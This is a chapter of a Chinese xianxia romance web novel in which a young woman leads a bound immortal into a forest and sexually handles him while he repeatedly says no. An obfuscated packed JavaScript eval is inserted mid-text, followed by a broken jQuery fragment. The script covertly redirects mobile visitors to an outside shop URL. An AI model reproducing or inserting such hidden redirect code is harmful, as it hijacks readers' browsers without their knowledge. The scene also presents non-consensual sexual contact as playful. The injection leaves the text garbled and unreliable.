谢无期直接把人甩开,冷着脸大步往前走,可才走了几步又被身后的温晚抓住。
谢无期又惊又怒,难不成她真打算在荒郊野外……
简直荒唐!
谢无期低声呵斥,“够了!”
“开玩笑的。”温晚嬉皮笑脸道,又拽着谢无期往一旁的树林走去。
“我知道一条近路。”温晚指着小树林的方向,“从这里走,也不会被人撞见。”
谢无期没动,狐疑地盯着她。
温晚又说:“树林里不容易撞见守卫。刚才是你运气好,碰上的正巧是熟人,若是回去路上再遇着什么人,只怕不是三言两语好唬弄的。”
果然这话颇有成效,谢无期想了想还是老老实实跟着温晚抄小路。
只是他没想到,这又是他一次错信温晚的决定。
“还要走多久?”二人约莫走了一炷香的功夫,不但没见到大路,反而越走越深,谢无期隐隐觉得有些不对劲,“我们好像一直在树林里绕圈。”
“我记得就是这条路啊。”温晚也皱褶眉头四处张望,“怎么会找不到了呢。”
“够了。”谢无期不想再浪费时间,提出原路返回。
“再往里走走吧,应该很快就能出去了。”温晚拽了拽谢无期的袖子,“来都来了,再坚持一下。”
谢无期又一次没好气地甩开,倏地,耳边传来一道树叶的摩擦声,乍一听似是风声。
谢无期立刻警惕起来,仔细侧耳去听,顿时脸色一变,“不对劲,这里有东西!”
“什么东西?”温晚一头雾水。
“快走!”谢无期来不及解释,拉起温晚就往‘风声’的反方向跑。
可已经晚了。
只见数条藤蔓如毒蛇般朝二人袭来。
谢无期反应极快,踢开几条,但无奈袭击他们的藤蔓太多,谢无期又没有佩剑,只能靠着拳脚击退。
谢无期把温晚护在身后,喊道:“把你的匕首给我。”
“我没带啊。”
“……你之前不是都带身上?”
“那是去地牢时为了防着你的。”
谢无期:……
不多时,朝他们攻击而来的藤蔓越来越多,谢无期没有灵力也没有武器,几番缠斗过后体力已有些不支。
更何况他还要护着温晚。
更可怕的是这些藤蔓仿佛涨了眼睛般,招招向着他软肋攻击。
十几个回合后,数条藤蔓缠上谢无期的双手和腰间,把他拖向树林深处。
谢无期不知道藤蔓要将他拖去何处,耳边温晚的呼喊声也越来越远。
直到后背便重重撞上硬物,他才意识到这些藤蔓竟将他拖行至一处参天大树下。
谢无期四肢都被藤蔓牢牢缠住,尽管他试着挣脱却失败告终。
四周皆是草木,也不见温晚的身影。
谢无期喊了几声,在林间漾开层层回声。
须臾,不远处传来一阵急促的脚步声。
“谢无期?你没事吧?”
是温晚的声音!
“我在这里!”谢无期回应道。
好在他没有被拖拽太远,寻着声音,果然很快温晚便找到了他。
见谢无期被五花大绑在树干上,温晚吓得脸色都白了,连忙上前试着扯断藤蔓。
可这些藤蔓足足有温晚手腕那么粗,徒手去扯根本扯不开。
谢无期皱眉,“你试试能不能砍断这些藤蔓。”
温晚又急又气,不满地‘啧’了声,“都说了我没带匕首。”
”……那火折子呢?”谢无期又说,“这些东西应该怕火。”
温晚依旧摇头。
“那你先回去取匕首,然后再来找我。”
“不行!我怎么能把你一个人留在这呢。”温晚拒绝,一边绕着树干走,仔细察看,“万一这千年树妖把你吞了怎么办。”
“暂时不会。”谢无期摇头,“你快去快回便是。”
温晚环视四周,沮丧着脸说:“可我不认识路啊,我要是走了,就再也找不到你了。”
谢无期深吸口气,“那你一路做标记,这样就不会迷路了。”
可温晚还是没走,只一圈圈绕着大树打量。
突然间她大喊一声:“我知道了,这是苍灵树。”
此树能通灵性,传闻是连接人间和冥界的通道。
“此物竟当真存在。”谢无期也有些惊讶。
温晚摸着下巴仔细观察,“奇怪,它竟然只绑着你,不绑我。”
说着,她突然将手放在树干上轻轻抚摸,然后又瞥了眼绑树上的谢无期,“听说这树极有灵性,甚至还能告知人的情绪。你说我们要是在这里办事,它能不能感应得到?”
“办什么……”谢无期话还没说完,便感觉到身体某处传来一股热意。
谢无期低头看去,竟是温晚把手伸进了自己的腰间。
“你做什么?”谢无期脑子轰隆一下炸开,又惊又怒,“赶紧把手拿出来。”
“难得仙君也有无法反抗的时候,我当然得好好利用。”温晚坏笑,贴着谢无期身体的手大胆往下滑去,“这就是我要办的事啊。仙君忘了吗?七日之约已到。”
“温晚!你别胡闹!”怒火夹杂着不受控制的热意让谢无期几乎快要崩溃。
他想要摆脱,可身体被抚摸过的地方像是被点了火,热得他难以忍受。
他难受地扬起下巴,声音哑得不像话,“别这样!我们回去再……”
“再什么?”温晚明知故问,手里的力道又加重几分,“是不是这样?”
羞耻感和快感像是两道冰火难容的势力,不断在谢无期脑中博弈,一方都想将另一方打败,彻底占领他的意识。
谢无期奋力挣扎,想要摆脱藤蔓的束缚,更想摆脱温晚肆无忌惮的拿捏着他软肋的手。
可直到手都被藤蔓勒红,藤蔓上的倒刺刺入皮肤,谢无期却依旧无法挣脱半分。
温晚又往谢无期衣服里伸入一手,反方向往上爬,逐渐覆上他的胸口。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611975|204914||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
掌心摩擦着因为快意而颤栗的皮肤,温晚盯着谢无期,又问:“还是这样?”
“你……把我带至此处,就是为了故意羞辱我!”谢无期压低声音,尽可能不让羞耻的声音从自己喉间发出。
“我怎么就是故意的?”温晚无辜地眨眼,“仙君若是忍得难受就别忍了,反正这里除了天地遍只有花草,它们是不会泄露咱们的秘密的。”
温晚湿润的唇贴上谢无期的耳廓,带着无尽的诱惑,叫谢无期不禁颤抖起来。
他无奈地闭上眼,不愿再看眼前满口谎言的骗子。
可越是不去看,身体的感官遍越敏感,仿佛所有觉知都向着一处汇聚,最后只能任由一切彻底失控。
不知道过了多久,谢无期终于忍无可忍,仰头靠在树干上发出难以抑制的一声闷哼。
意识有片刻的恍惚,待他再回过神来,温晚的手已经离开谢无期的身体。
温晚拿出帕子不紧不慢地擦拭着。
看着她用帕子一点点将指尖的潮湿抹去,谢无期又一次羞怒得快要失去理智,他咬牙切齿地问:“这么羞辱我,糟践我,你满意了吧?现在可以放我走了吗?”
“仙君为何这么说?”温晚茫然地抬头看着他,“你我还未双修,我还没吸收仙君体内的纯阳磷火呢。”
“你!”谢无期彻底被激怒,“难不成还要在这里与我行鱼水之欢不成?”
“为什么不行?”温晚歪着头,慢慢走近谢无期。
“你可还知……”谢无期
“羞耻?”温晚先一步打断,“在这里不好吗?这里多宽敞,天为席,地为被,还有大树爷爷给我们做个见证。”
“你....别过来!”谢无期想要推开温晚,可无奈手脚都被她绑住,压根无法动弹,"若是叫旁人看见……"
他活了这么多年,一向恪守礼制,从不敢逾矩,可此刻他却与人在毫无遮挡的野外做这等有伤风化之事。
谢无期不敢想若是叫人瞧见……
他此刻对温晚的厌恶里甚至还生出一丝恨意。
凭什么她能随心所欲,凭什么每每都能予取予求?!
谢无期越是愤怒,身体却越不受控制对温晚的触碰给予反馈。
温晚也感受到了,她将身体贴身谢无期,早就把先前商定的那些规律抛诸脑后,“仙君不必这么辛苦忍着,反正也不会有人过来。没人能听见的。”
温晚将手伸向自己的腰间,作势就要去解身上的腰带。
就在这时,周遭传来细微的啼哭声,在昏暗的林间透着诡异。
谢无期浑身一震,“什么声音?”
“仙君听错了,没有声音。”温晚伸手抓上谢无期的衣襟,又把人拽了回来,“专心点。”
谢无期又凝神去听,这回是真真切切发现了不对劲。
他低吼一声,“赶紧放开我!有东西在动。”
温晚闻言终于停下动作,顺势抬起头朝着树干顶端望去。
下一刻,温晚陡然扯着嗓子发出一声尖叫。